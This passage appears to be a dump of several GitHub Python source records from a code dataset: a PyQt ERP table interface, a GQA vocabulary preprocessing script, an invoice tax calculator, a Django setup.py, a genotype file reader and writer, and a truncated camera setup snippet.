item.setText(41, student.chuhuojianshu4)\n item.setText(42, student.chuhuoguihao4)\n if str(student.chuhuoriqi5) == '01/01/2000':\n item.setText(43, '')\n else:\n item.setText(43, str(student.chuhuoriqi5))\n item.setText(44, student.chuhuojianshu5)\n item.setText(45, student.chuhuoguihao5)\n\n elif self.searchMode == 0:\n self.tableAdd(student)\n\n def tableClear(self):\n self.studentTable.clear()\n self.tableList.clear()\n self.tableIndex.clear()\n\n def onSelectStudent(self):\n #self.calcuTable.clearSelection()\n item = self.studentTable.selectedItems()\n selected = True if item else False\n selection = None\n if selected:\n for k, v in self.tableIndex.items():\n if v == item[0]:\n selection = k\n break\n else:\n selected = False\n self.selection = selection\n self.setStudentInfo(selection)\n self.editButton.setEnabled(selected)\n self.actionEdit.setEnabled(selected)\n self.deleteButton_2.setEnabled(False)\n self.actionDelete_2.setEnabled(False)\n self.deleteButton_3.setEnabled(False)\n self.actionDelete_3.setEnabled(False)\n #做货表单2020.01.12\n def zuohuotableShow(self, zuohuoList):\n self.zuohuotableClear()\n for zuohuo in zuohuoList:\n self.zuohuotableAdd(zuohuo)\n #self.onSelectZuohuo()\n\n def zuohuotableAdd(self, zuohuo):\n item = QtWidgets.QTreeWidgetItem(self.zuohuoTable)\n self.zuohuotableSet(zuohuo, item)\n self.zuohuotableList.append(zuohuo)\n self.zuohuotableIndex[zuohuo] = item\n\n def zuohuotableSet(self, zuohuo, item=None):\n if item:\n item.setText(0, zuohuo.index)\n item.setText(1, zuohuo.date)\n item.setText(2, zuohuo.yuanguihao)\n item.setText(3, zuohuo.jianshu)\n item.setText(4, zuohuo.jingzhong)\n item.setText(5, zuohuo.maozhong)\n item.setText(6, zuohuo.huoming)\n item.setText(7, zuohuo.shishoujianshu)\n item.setText(8, zuohuo.zhuangguihao)\n item.setText(9, zuohuo.baozhuang)\n item.setText(10, zuohuo.note)\n else:\n self.zuohuotableAdd(zuohuo)\n\n def zuohuotableClear(self):\n self.zuohuoTable.clear()\n self.zuohuotableList.clear()\n self.zuohuotableIndex.clear()\n\n def zuohuoSettle(self):\n student = self.selection\n if not student:\n return\n\n def _onAddZuohuo(_zuohuo):\n zuohuo = _zuohuo.copy()\n public.zuohuoManager.add(zuohuo)\n self.zuohuotableSet(zuohuo)\n\n self._zuohuonewBox = zuohuoboxUI.ZuohuoNewBox(_onAddZuohuo)\n self._zuohuonewBox.zindexEdit.setText(str(len(self.zuohuotableList) + 1))\n self._zuohuonewBox.dateEdit.setDate(QtCore.QDate.currentDate())\n self._zuohuonewBox.indexEdit.setText(student.index)\n self._zuohuonewBox.clientEdit.setText(student.client)\n self._zuohuonewBox.yuanguihaoEdit.setText(student.yuanguihao)\n self._zuohuonewBox.jianshuEdit.setText(student.baolaijianshu)\n self._zuohuonewBox.jingzhongEdit.setText(student.jingzhong)\n self._zuohuonewBox.maozhongEdit.setText(student.maozhong)\n self._zuohuonewBox.huomingEdit.setText(student.huoming)\n self._zuohuonewBox.shishoujianshuEdit.setText(student.shishoujianshu)\n self._zuohuonewBox.zhuanguihaoEdit.setText(student.guoguiguihao1)\n self._zuohuonewBox.baozhuangEdit.setText(student.baozhuang)\n self._zuohuonewBox.noteEdit.setPlainText(student.notes2)\n\n ####\n self._zuohuonewBox.show()\n\n def zuohuoonEdit(self):\n zuohuo = self.zuohuoselection\n if not zuohuo:\n return\n\n def _zuohuoonEdit(_zuohuo):\n if _zuohuo.index != zuohuo.index:\n public.zuohuoManager.delete(zuohuo)\n _zuohuo.copyTo(zuohuo)\n public.zuohuoManager.add(zuohuo)\n else:\n _zuohuo.copyTo(zuohuo)\n if zuohuo in self.zuohuotableIndex:\n self.zuohuotableSet(zuohuo, self.zuohuotableIndex[zuohuo])\n self._zuohuoeditBox = zuohuoboxUI.ZuohuoEditBox(zuohuo, _zuohuoonEdit)\n self._zuohuoeditBox.show()\n\n def onDeleteZuohuo(self):\n zuohuo = self.zuohuoselection\n if not zuohuo:\n return\n confirm = QMessageBox.warning(QtWidgets.QWidget(),\n \"删除做貨單\", \"确认删除此做貨單?\",\n QMessageBox.Yes | QMessageBox.No)\n if confirm == QMessageBox.Yes:\n item = self.zuohuotableIndex[zuohuo]\n n = self.zuohuoTable.topLevelItemCount()\n for i in range(0, n):\n if self.zuohuoTable.topLevelItem(i) == item:\n self.zuohuoTable.takeTopLevelItem(i)\n self.zuohuotableList.remove(zuohuo)\n self.zuohuotableIndex.pop(zuohuo)\n break\n public.zuohuoManager.delete(zuohuo)\n\n def onSelectZuohuo(self):\n item = self.zuohuoTable.selectedItems()\n selected = True if item else False\n zuohuoselection = None\n if selected:\n for k, v in self.zuohuotableIndex.items():\n if v == item[0]:\n zuohuoselection = k\n break\n else:\n selected = False\n self.zuohuoselection = zuohuoselection\n self.editButton.setEnabled(False)\n self.actionEdit.setEnabled(False)\n self.deleteButton_2.setEnabled(selected)\n self.actionDelete_2.setEnabled(selected)\n self.deleteButton_3.setEnabled(False)\n self.actionDelete_3.setEnabled(False)\n\n #拖重表单2020.1.12\n def tuozhongtableShow(self, tuozhongList):\n self.tuozhongtableClear()\n for tuozhong in tuozhongList:\n self.tuozhongtableAdd(tuozhong)\n #self.onSelectTuozhong()\n\n def tuozhongtableAdd(self, tuozhong):\n item = QtWidgets.QTreeWidgetItem(self.tuozhongTable)\n self.tuozhongtableSet(tuozhong, item)\n self.tuozhongtableList.append(tuozhong)\n self.tuozhongtableIndex[tuozhong] = item\n\n def tuozhongtableSet(self, tuozhong, item=None):\n # tuozhong = self.student or public.studentManager.emptyStudent\n if item:\n item.setText(0, tuozhong.index)\n item.setText(1, tuozhong.date)\n item.setText(2, tuozhong.yuanguihao)\n item.setText(3, tuozhong.zhongwei)\n item.setText(4, tuozhong.jiwei)\n item.setText(5, tuozhong.shishoujianshu)\n item.setText(6, tuozhong.jingzhong)\n item.setText(7, tuozhong.maozhong)\n item.setText(8, tuozhong.huoming)\n item.setText(9, tuozhong.bangzhong)\n item.setText(10, tuozhong.note)\n # print('1111')\n\n elif self.searchMode == 0:\n self.tuozhongtableAdd(tuozhong)\n # print('222')\n\n def tuozhongtableClear(self):\n self.tuozhongTable.clear()\n self.tuozhongtableList.clear()\n self.tuozhongtableIndex.clear()\n\n def tuozhongSettle(self):\n student = self.selection\n if not student:\n return\n\n def _onAddTuozhong(_tuozhong):\n tuozhong = _tuozhong.copy()\n public.tuozhongManager.add(tuozhong)\n self.tuozhongtableSet(tuozhong)\n self._tuozhongnewBox = tuozhongboxUI.TuozhongNewBox(_onAddTuozhong)\n self._tuozhongnewBox.tindexEdit.setText(str(len(self.tuozhongtableList) + 1))\n self._tuozhongnewBox.dateEdit.setDate(QtCore.QDate.currentDate())\n self._tuozhongnewBox.indexEdit.setText(student.index)\n self._tuozhongnewBox.clientEdit.setText(student.client)\n self._tuozhongnewBox.yuanguihaoEdit.setText(student.yuanguihao)\n self._tuozhongnewBox.zhongweiEdit.setText(student.zhongwei)\n self._tuozhongnewBox.jiweiEdit.setText(student.jiwei)\n self._tuozhongnewBox.shishoujianshuEdit.setText(student.shishoujianshu)\n self._tuozhongnewBox.jingzhongEdit.setText(student.jingzhong)\n self._tuozhongnewBox.maozhongEdit.setText(student.maozhong)\n self._tuozhongnewBox.huomingEdit.setText(student.huoming)\n self._tuozhongnewBox.bangzhongEdit.setText(student.bangzhong)\n self._tuozhongnewBox.noteEdit.setPlainText(student.notes1)\n\n ####\n self._tuozhongnewBox.show()\n\n def tuozhongonEdit(self):\n tuozhong = self.tuozhongselection\n if not tuozhong:\n return\n\n def _tuozhongonEdit(_tuozhong):\n if _tuozhong.index != tuozhong.index:\n public.tuozhongManager.delete(tuozhong)\n _tuozhong.copyTo(tuozhong)\n public.tuozhongManager.add(tuozhong)\n else:\n _tuozhong.copyTo(tuozhong)\n if tuozhong in self.tuozhongtableIndex:\n self.tuozhongtableSet(tuozhong, self.tuozhongtableIndex[tuozhong])\n self._tuozhongeditBox = tuozhongboxUI.TuozhongEditBox(tuozhong, _tuozhongonEdit)\n self._tuozhongeditBox.show()\n\n def onDeleteTuozhong(self):\n tuozhong = self.tuozhongselection\n if not tuozhong:\n return\n confirm = QMessageBox.warning(QtWidgets.QWidget(),\n \"删除拖重單\", \"确认删除此拖重單?\",\n QMessageBox.Yes | QMessageBox.No)\n if confirm == QMessageBox.Yes:\n item = self.tuozhongtableIndex[tuozhong]\n n = self.tuozhongTable.topLevelItemCount()\n for i in range(0, n):\n if self.tuozhongTable.topLevelItem(i) == item:\n self.tuozhongTable.takeTopLevelItem(i)\n self.tuozhongtableList.remove(tuozhong)\n self.tuozhongtableIndex.pop(tuozhong)\n break\n public.tuozhongManager.delete(tuozhong)\n\n def onSelectTuozhong(self):\n item = self.tuozhongTable.selectedItems()\n selected = True if item else False\n tuozhongselection = None\n if selected:\n for k, v in self.tuozhongtableIndex.items():\n if v == item[0]:\n tuozhongselection = k\n break\n else:\n selected = False\n self.tuozhongselection = tuozhongselection\n self.editButton.setEnabled(False)\n self.actionEdit.setEnabled(False)\n self.deleteButton_2.setEnabled(False)\n self.actionDelete_2.setEnabled(False)\n self.deleteButton_3.setEnabled(selected)\n self.actionDelete_3.setEnabled(selected)\n","repo_name":"galaxy24/erpsystem","sub_path":"mainUI_2.py","file_name":"mainUI_2.py","file_ext":"py","file_size_in_byte":27703,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"23217786726","text":"import numpy as np\nimport json\nimport operator\nimport os\nimport argparse\n\n\nparser = argparse.ArgumentParser(description=\"Obatining dictionary for questions and answers\")\nparser.add_argument(\"--question\", type=str, required=True, help=\"path to GQA question\")\nargs = parser.parse_args()\n\nnb_answer = 1500\nword_threshold = 3\nquestions = json.load(open(os.path.join(args.question,'train_balanced_questions.json')))\nsave_dir = './processed_data'\n\n# select top answer\nanswer_bank=dict()\nfor qid in questions.keys():\n\tcur_ans = questions[qid]['answer']\n\tif cur_ans not in answer_bank:\n\t\tanswer_bank[cur_ans] = 1\n\telse:\n\t\tanswer_bank[cur_ans] += 1\n\ntotal = np.sum(list(answer_bank.values()))\nanswer_bank = sorted(answer_bank.items(), key=operator.itemgetter(1)) #sorting the answers by frequency\nanswer_bank.reverse()\ntop_answer = dict()\ncount = 0\nfor i,ans in enumerate(answer_bank):\n\tif i >= nb_answer:\n\t\tbreak\n\ttop_answer[ans[0]]=i\n\tcount += ans[1]\n\nwith open(os.path.join(save_dir,'ans2idx_1500.json'),'w') as f:\n\tjson.dump(top_answer,f)\n\nprint('Selected %d out of %d answers' %(len(top_answer),len(answer_bank)))\nprint('Number of valid samples is %d out of %d (%f percent)' %(count,total,count*100/total))\n\n# create a word2idx mapping for questions\nword_bank = dict()\nfor qid in questions.keys():\n\tcur_ans = questions[qid]['answer']\n\tif cur_ans not in top_answer:\n\t\tcontinue\n\tcur_question = questions[qid]['question']\n\tcur_question = str(cur_question).replace('?','').replace('.','').replace(',',' ')\n\tcur_question = cur_question.split(' ')\n\tfor cur_word in cur_question:\n\t\tif cur_word not in word_bank:\n\t\t\tword_bank[cur_word] = 1\n\t\telse:\n\t\t\tword_bank[cur_word] += 1\n\nword_bank = sorted(word_bank.items(), key=operator.itemgetter(1)) #sorting the answers by frequency\nword_bank.reverse()\nword2idx = dict()\nfor i,word in enumerate(word_bank):\n\tif word[1] >= word_threshold:\n\t\tword2idx[word[0]] = i+1\n\telse:\n\t\tbreak\nword2idx['UNK'] = 0\nwith open(os.path.join(save_dir,'word2idx_1500.json'),'w') as f:\n\tjson.dump(word2idx,f)\n\nprint('Number of selected vocabularies: %d'%len(word2idx))\n","repo_name":"szzexpoi/AiR","sub_path":"AiR-M/preprocess_lang.py","file_name":"preprocess_lang.py","file_ext":"py","file_size_in_byte":2079,"program_lang":"python","lang":"en","doc_type":"code","stars":42,"dataset":"github-code","pt":"50"} +{"seq_id":"28741755413","text":"import os\n\ndef clearTerminal():\n os.system('cls')\n\ndef apresentation():\n clearTerminal()\n print('-- Cálculo de taxas --')\n\ndef exitProgram(answer):\n if answer == \"sair\":\n return quit()\n\ndef resultCalculation(valor_produtos, valor_nota):\n try:\n if float(valor_nota) > float(valor_produtos):\n result = ((float(valor_nota) * 100)/float(valor_produtos))-100\n return result\n elif float(valor_nota) < float(valor_produtos):\n result = ((float(valor_nota) * 100)/float(valor_produtos))-100\n return result\n else:\n print('\\nNão houve desconto ou acréscimo nessa nota.')\n input('\\nPressione para continuar.')\n return\n except Exception:\n print('\\nErro desconhecido.')\n input('\\nPressione para continuar.')\n return\n\ndef taxesProducts(preco_produto, quantidade_produto, diferenca_nota):\n result = (preco_produto/quantidade_produto)\n result = result + (result*(diferenca_nota/100))\n return result\n\nprint('Bem-vindo ao programa que calcula o valor real da nota e dos produtos')\ninput('\\nPressione para continuar.')\n\nwhile True:\n \n apresentation()\n\n total_produtos = input('\\ninsira o valor total dos produtos: ').replace(',','.')\n exitProgram(total_produtos)\n total_nota = input('Insira o valor total da nota: ').replace(',','.')\n exitProgram(total_nota)\n\n result = resultCalculation(total_produtos, total_nota)\n\n if result == None:\n apresentation()\n continue\n else:\n if result < 0:\n print(f'\\nHouve um desconto de {result:,.0f}%')\n else:\n print(f'\\nHouve um acréscimo de {result:+,.0f}%')\n \n user_answer = input('\\nDeseja calcular o preço real de cada produto? Sim ou Não. ').lower()\n\n exitProgram(user_answer)\n\n if user_answer == \"sim\" or user_answer == \"yes\" or user_answer == \"y\" or user_answer == \"s\":\n clearTerminal()\n\n print('\\nDigite \"sair\" a qualquer momento para parar de calcular o preço real dos produtos.')\n\n while user_answer != \"sair\":\n\n user_answer = input('\\nInforme o preço do produto: ')\n exitProgram(user_answer)\n preco_prod = float(user_answer)\n\n user_answer = input('informe a quantidade que veio o produto: ')\n exitProgram(user_answer)\n quant_prod = int(user_answer)\n\n preco_real = taxesProducts(preco_prod, quant_prod, result)\n\n print(f'O preço real desse produto é: {preco_real:,.2f}')\n else:\n break\n\n elif user_answer == \"não\" or user_answer == \"nao\" or user_answer == \"no\" or user_answer == \"n\":\n apresentation()\n continue\n else:\n print('\\nResposta inválida.')\n break\n\n","repo_name":"Sagitc/Calculating_taxes_invoice","sub_path":"Calculo_preco_real.py","file_name":"Calculo_preco_real.py","file_ext":"py","file_size_in_byte":2820,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"21901351717","text":"import os\nfrom setuptools import find_packages, setup\n\nwith open(os.path.join(os.path.dirname(__file__), 'README.md')) as readme:\n README = readme.read()\n\n# allow setup.py to be run from any path\nos.chdir(os.path.normpath(os.path.join(os.path.abspath(__file__), os.pardir)))\n\nsetup(\n name='django-news',\n version='0.1',\n packages=['news'],\n include_package_data=True,\n license='MIT License', # example license\n description='A Reusable Django application for simple news stories.',\n long_description=README,\n url='https://github.com/blake01/django-news',\n author='Blake Hemingway',\n author_email='blakehemingway@gmail.com',\n classifiers=[\n 'Environment :: Web Environment',\n 'Framework :: Django',\n 'Framework :: Django :: 1.4',\n 'Framework :: Django :: 1.5',\n 'Framework :: Django :: 1.6',\n 'Framework :: Django :: 1.7',\n 'Framework :: Django :: 1.8',\n 'Framework :: Django :: 1.9',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License', # example license\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2.6',\n 'Programming Language :: Python :: 2.7',\n 'Topic :: Internet :: WWW/HTTP',\n 'Topic :: Internet :: WWW/HTTP :: Dynamic Content',\n ],\n install_requires=[\n 'django-autoslug',\n 'django-el-pagination',\n 'django-autofixture',\n ],\n)\n","repo_name":"blake01/django-news","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"31305914596","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import with_statement\n\n__abstract__ = 'EIGENSOFT (smartpca) genotype format input/output'\n__copyright__ = 'Copyright (c) 2007-2009, BioInformed LLC and the U.S. Department of Health & Human Services. Funded by NCI under Contract N01-CO-12400.'\n__license__ = 'See GLU license for terms by running: glu license'\n__revision__ = '$Id$'\n\n__all__ = ['load_eigensoft_smartpca','save_eigensoft_smartpca','EigensoftSmartPCAWriter']\n\n__genoformats__ = [\n # LOADER SAVER WRITER PFORMAT ALIAS EXTS\n ('load_eigensoft_smartpca','save_eigensoft_smartpca','EigensoftSmartPCAWriter', 'ldat',\n ['eigensoft','eigenstrat','smartpca'], None) ]\n\n\nfrom itertools import izip\n\nfrom glu.lib.utils import izip_exact\nfrom glu.lib.fileutils import autofile,namefile,parse_augmented_filename,get_arg, \\\n related_file,guess_related_file\n\nfrom glu.lib.genolib.streams import GenotripleStream,GenomatrixStream,NonUniqueError\nfrom glu.lib.genolib.genoarray import count_genotypes, count_alleles_from_genocounts, \\\n major_allele_from_allelecounts, \\\n GenotypeArrayDescriptor, GenotypeArray, build_model\nfrom glu.lib.genolib.locus import Genome\nfrom glu.lib.genolib.phenos import Phenome,SEX_MALE,SEX_FEMALE,SEX_UNKNOWN\n\n\nSEX_MAP = {'M':SEX_MALE,'m':SEX_MALE,'F':SEX_FEMALE,'f':SEX_FEMALE,'U':SEX_UNKNOWN}\nSEX_RMAP = {SEX_UNKNOWN:'U', SEX_MALE:'M', SEX_FEMALE:'F'}\n\nCHR_MAP = {'0':None,'23':'X','24':'Y','90':'M','91':'XY'}\nCHR_MAP.update( (str(i),)*2 for i in range(1,23) )\n\nCHR_RMAP = {None:'1','X':'23','Y':'24','M':'90','XY':'91'}\nCHR_RMAP.update( (str(i),)*2 for i in range(1,23) )\n\nDEFAULT_ALLELES = 'A','B'\nUNKNOWN = 'UNKNOWN'\n\n\n# Requires empty genome\ndef load_eigensoft_snps(filename,genome):\n loci = []\n models = []\n modelcache = {}\n\n for i,line in enumerate(autofile(filename)):\n line = line.strip()\n\n if not line or line.startswith('#'):\n continue\n\n fields = line.split()\n\n m = len(fields)\n\n lname = fields[0]\n\n if not lname:\n raise ValueError('Invalid SMARTPCA locus record %d' % (i+1))\n\n chr = location = None\n if m>1:\n chr = CHR_MAP[fields[1]]\n # m==2 is genetic map location\n if m>3:\n location = int(fields[3]) or None\n\n if m>=6:\n alleles = (intern(fields[4]),intern(fields[5]))\n else:\n alleles = DEFAULT_ALLELES\n\n model = modelcache.get(alleles)\n if model is None:\n a,b = alleles\n model = modelcache[alleles] = build_model(genotypes=[(a,a),(a,b),(b,b)],max_alleles=2)\n\n loci.append(lname)\n models.append(model)\n genome.set_locus(lname,model,chr,location)\n\n return loci,models\n\n\ndef load_eigensoft_inds(filename,phenome):\n samples = []\n\n for i,line in enumerate(autofile(filename)):\n line = line.strip()\n\n if not line or line.startswith('#'):\n continue\n\n fields = line.split()\n\n m = len(fields)\n\n if m not in (2,3):\n raise ValueError('Invalid SMARTPCA ind record %d' % (i+1))\n\n name = fields[0]\n\n if not name:\n raise ValueError('Invalid SMARTPCA ind record %d' % (i+1))\n\n sex = SEX_MAP[fields[1]]\n phenoclass = intern(fields[2]) if m==3 else UNKNOWN\n\n samples.append(name)\n phenome.merge_phenos(name, sex=sex, phenoclass=phenoclass)\n\n return samples\n\n\ndef load_eigensoft_smartpca(filename,format,genome=None,phenome=None,extra_args=None,**kwargs):\n '''\n Load a SMARTPCA format genotype data.\n\n @param filename: file name or file object\n @type filename: str or file object\n @param genome: genome descriptor\n @type genome: Genome instance\n @param phenome: phenome descriptor\n @type phenome: Phenome instance\n @param unique: rows and columns are uniquely labeled (default is True)\n @type unique: bool\n @param extra_args: optional dictionary to store extraneous arguments, instead of\n raising an error.\n @type extra_args: dict\n @rtype : GenomatrixStream\n\n >>> from StringIO import StringIO\n >>> genos = StringIO('012\\\\n919\\\\n101\\\\n')\n >>> snp = StringIO('l1 1 0 0 G A\\\\nl2 1 0 0 G C\\\\nl3 1 0 0 C T\\\\n')\n >>> ind = StringIO('s1 U\\\\ns2 U\\\\ns3 U\\\\n')\n >>> genos = load_eigensoft_smartpca(genos,'eigensoft',ind=ind,snp=snp)\n >>> genos.format\n 'ldat'\n >>> genos.loci\n ('l1', 'l2', 'l3')\n >>> genos.samples\n ('s1', 's2', 's3')\n >>> for row in genos:\n ... print row\n ('l1', [('G', 'G'), ('A', 'G'), ('A', 'A')])\n ('l2', [(None, None), ('C', 'G'), (None, None)])\n ('l3', [('C', 'T'), ('C', 'C'), ('C', 'T')])\n '''\n if extra_args is None:\n args = kwargs\n else:\n args = extra_args\n args.update(kwargs)\n\n filename = parse_augmented_filename(filename,args)\n\n unique = get_arg(args, ['unique'], True)\n loci = get_arg(args, ['snp']) or guess_related_file(filename,['snp'])\n ind = get_arg(args, ['ind']) or guess_related_file(filename,['ind'])\n\n if extra_args is None and args:\n raise ValueError('Unexpected filename arguments: %s' % ','.join(sorted(args)))\n\n if not loci:\n raise ValueError('Eigenstrat/SmartPCA loader requires a SNP file')\n\n if not ind:\n raise ValueError('Eigenstrat/SmartPCA loader requires an IND file')\n\n if phenome is None:\n phenome = Phenome()\n\n file_genome = Genome()\n loci,models = load_eigensoft_snps(loci,file_genome)\n samples = load_eigensoft_inds(ind,phenome)\n\n is_unique = len(set(loci)) == len(loci) and len(set(samples)) == len(samples)\n if unique and not is_unique:\n raise NonUniqueError('EIGENSOFT/SMARTPCA data contains non-unique snps or individuals')\n\n rows = autofile(filename)\n def _load():\n n = len(samples)\n\n descrcache = {}\n for locus,model,row in izip_exact(loci,models,rows):\n row = row.rstrip()\n if len(row) != n:\n raise ValueError('Invalid genotype row on line %d of %s' % (rows.line_num+1,namefile(filename)))\n\n # FIXME: This can be done in load_smartpca_snps\n dg = descrcache.get(model)\n if dg is None:\n gmap = { '9' : model.genotypes[0],\n '0' : model.genotypes[1],\n '1' : model.genotypes[2],\n '2' : model.genotypes[3] }\n descr = GenotypeArrayDescriptor([model]*n)\n descrcache[model] = descr,gmap\n else:\n descr,gmap = dg\n\n genos = GenotypeArray(descr, (gmap[g] for g in row))\n\n yield locus,genos\n\n genos = GenomatrixStream(_load(),'ldat',samples=samples,loci=loci,models=models,\n genome=file_genome,phenome=phenome,\n unique=unique,packed=True)\n\n if genome:\n genos = genos.transformed(recode_models=genome)\n\n return genos\n\n\nclass EigensoftSmartPCAWriter(object):\n '''\n Object to write Eigensoft SMARTPCA genotype data\n\n >>> loci = ('l1', 'l2', 'l3')\n >>> rows = [('s1', [('A','A'),(None,None),('C','T')]),\n ... ('s2', [('A','G'), ('C','G'), ('C','C')]),\n ... ('s3', [('G','G'),(None,None),('C','T')]) ]\n >>> genos = GenomatrixStream.from_tuples(rows,'sdat',loci=loci).as_ldat()\n >>> from cStringIO import StringIO\n >>> o = StringIO()\n >>> s = StringIO()\n >>> i = StringIO()\n >>> with EigensoftSmartPCAWriter(o,'eigensoft',genos.samples,genos.genome,genos.phenome,\n ... ind=i,snp=s) as w:\n ... genos=iter(genos)\n ... w.writerow(*genos.next())\n ... w.writerow(*genos.next())\n ... w.writerows(genos)\n >>> print o.getvalue() # doctest: +NORMALIZE_WHITESPACE\n 210\n 919\n 101\n >>> print s.getvalue() # doctest: +NORMALIZE_WHITESPACE\n l1 1 0 0 G A\n l2 1 0 0 G C\n l3 1 0 0 C T\n >>> print i.getvalue() # doctest: +NORMALIZE_WHITESPACE\n s1 U UNKNOWN\n s2 U UNKNOWN\n s3 U UNKNOWN\n '''\n def __init__(self,filename,format,samples,genome,phenome,extra_args=None,**kwargs):\n '''\n @param filename: file name or file object\n @type filename: str or file object\n @param format: data format string\n @type format: str\n @param header: column headings\n @type header: list or str\n '''\n if extra_args is None:\n args = kwargs\n else:\n args = extra_args\n args.update(kwargs)\n\n filename = parse_augmented_filename(filename,args)\n\n snpfile = get_arg(args, ['snp'])\n indfile = get_arg(args, ['ind'])\n\n if extra_args is None and args:\n raise ValueError('Unexpected filename arguments: %s' % ','.join(sorted(args)))\n\n # Careful: file= is intended to suppress output\n if snpfile is None:\n snpfile = related_file(filename,'snp')\n if indfile is None:\n indfile = related_file(filename,'ind')\n\n self.samples = samples\n self.genome = genome\n self.phenome = phenome\n self.out = autofile(filename,'w')\n self.snpout = autofile(snpfile,'w') if snpfile else None\n\n if indfile:\n indout = autofile(indfile,'w')\n for sample in samples:\n phenos = self.phenome.get_phenos(sample)\n sex = SEX_RMAP[phenos.sex]\n phenoclass = phenos.phenoclass or ''\n indout.write(' '.join([sample,sex,phenoclass or UNKNOWN]))\n indout.write('\\n')\n\n def writerow(self, locus, genos):\n '''\n Write a row of genotypes given the row key and list of genotypes\n\n @param rowkey: row identifier\n @type rowkey: str\n @param genos: sequence of genotypes in an internal representation\n @type genos: sequence\n '''\n out = self.out\n if out is None:\n raise IOError('Cannot write to closed writer object')\n\n if len(genos) != len(self.samples):\n raise ValueError('[ERROR] Internal error: Genotypes do not match header')\n\n model = genos[0].model\n genocounts = count_genotypes(genos)\n allelecounts = count_alleles_from_genocounts(model,genocounts)\n\n # FIXME: Finding major seems much more robust, since it is better defined\n try:\n major,freq = major_allele_from_allelecounts(model,allelecounts)\n except ValueError:\n major = None\n\n # FIXME: Uninformative locus, so emit a warning\n if major is None:\n return\n\n other = [ a for a,n in izip(model.alleles[1:],allelecounts[1:]) if a!=major and n ]\n\n # Non-biallelic locus\n if len(other) > 1:\n # FIXME: Non-biallelic locus, so emit a warning\n return\n if len(other) == 1:\n other = other[0]\n else:\n # Monomorphic, pick a default representation that does not conflict with major\n other = [ a for a,n in izip(model.alleles[1:],allelecounts[1:]) if a!=major ]\n if other:\n other = other[0]\n elif major!='X':\n other = 'X'\n else:\n other = 'N'\n\n gmap = { model[major,major]:'0',\n model[other,major]:'1',\n model[other,other]:'2',\n model[None,None] :'9' }\n\n row = ''.join( gmap[g] for g in genos )\n\n snpout = self.snpout\n if snpout:\n loc = self.genome.get_locus(locus)\n chr = CHR_RMAP[loc.chromosome]\n pos = str(loc.location or '0')\n\n snpout.write(' '.join([locus,chr,'0',pos,major,other]))\n snpout.write('\\n')\n\n out.write(row)\n out.write('\\n')\n\n def writerows(self, rows):\n '''\n Write rows of genotypes given pairs of row key and list of genotypes\n\n @param rows: sequence of pairs of row key and sequence of genotypes in\n an internal representation\n class.\n @type rows: sequence of (str,sequence)\n '''\n for locus,genos in rows:\n self.writerow(locus,genos)\n\n def close(self):\n '''\n Close the writer\n\n A closed writer cannot be used for further I/O operations and will\n result in an error if called more than once.\n '''\n if self.out is None:\n raise IOError('Writer object already closed')\n self.out = None\n\n def __enter__(self):\n '''\n Context enter function\n '''\n return self\n\n def __exit__(self, *exc_info):\n '''\n Context exit function that closes the writer upon exit\n '''\n self.close()\n\n\ndef save_eigensoft_smartpca(filename,genos,format,extra_args=None,**kwargs):\n '''\n Write Eigensoft SMARTPCA genotype data\n\n @param filename: file name or file object\n @type filename: str or file object\n @param genos: genomatrix stream\n @type genos: sequence\n\n >>> from cStringIO import StringIO\n >>> o = StringIO()\n >>> i = StringIO()\n >>> s = StringIO()\n >>> loci = ('l1', 'l2', 'l3')\n >>> rows = [('s1', [('A','A'),(None,None),('C','T')]),\n ... ('s2', [('A','G'), ('C','G'), ('C','C')]),\n ... ('s3', [('G','G'),(None,None),('C','T')]) ]\n >>> genos = GenomatrixStream.from_tuples(rows,'sdat',loci=loci)\n >>> save_eigensoft_smartpca(o,genos,'eigensoft',ind=i,snp=s)\n >>> print o.getvalue() # doctest: +NORMALIZE_WHITESPACE\n 210\n 919\n 101\n >>> print s.getvalue() # doctest: +NORMALIZE_WHITESPACE\n l1 1 0 0 G A\n l2 1 0 0 G C\n l3 1 0 0 C T\n >>> print i.getvalue() # doctest: +NORMALIZE_WHITESPACE\n s1 U UNKNOWN\n s2 U UNKNOWN\n s3 U UNKNOWN\n '''\n if extra_args is None:\n args = kwargs\n else:\n args = extra_args\n args.update(kwargs)\n\n filename = parse_augmented_filename(filename,args)\n mergefunc = get_arg(args, ['mergefunc'])\n\n genos = genos.as_ldat(mergefunc)\n\n with EigensoftSmartPCAWriter(filename,format,genos.samples,genos.genome,genos.phenome,\n extra_args=args) as writer:\n\n if extra_args is None and args:\n raise ValueError('Unexpected filename arguments: %s' % ','.join(sorted(args)))\n\n writer.writerows(genos)\n\n\ndef test():\n import doctest\n return doctest.testmod()\n\n\nif __name__ == '__main__':\n test()\n","repo_name":"bioinformed/glu-genetics","sub_path":"glu/lib/genolib/formats/eigensoft.py","file_name":"eigensoft.py","file_ext":"py","file_size_in_byte":13801,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"50"} +{"seq_id":"18352251880","text":"from Image_Analysis.Shape_detection import *\n\ndef Initialize_camera(verbose, debug):\n print(\"Initializing camera...\")\n if verbose:\n print(\"Trying capture settings: ''-1''\")\n #cap = cv2.VideoCapture(-1,cv2.CAP_DSHOW) #cv2.CAP_DSHOW is used to reduce the time taken to open the ext. camera\n cap = cv2.VideoCapture(1,cv2.CAP_DSHOW) #cv2.CAP_DSHOW is used to reduce the time taken to open the ext. camera\n cap.set(cv2.CAP_PROP_BUFFERSIZE, 1)\n cap.set(cv2.CAP_PROP_AUTOFOCUS, 0)\n focus = 40 # min: 0, max: 255, increment:5\n cap.set(28, focus)\n if not cap.isOpened():\n if verbose:\n print(\"Failed, trying capture settings: ''-1,cv2.CAP_DSHOW''\")\n cap = cv2.VideoCapture(-1,cv2.CAP_DSHOW)\n \n if not cap.isOpened():\n if verbose:\n print(\"Failed, trying capture settings: ''0,cv2.CAP_DSHOW''\")\n cap = cv2.VideoCapture(0,cv2.CAP_DSHOW)\n \n if not cap.isOpened():\n if verbose:\n print(\"Failed, trying capture settings: ''1,cv2.CAP_DSHOW''\")\n cap = 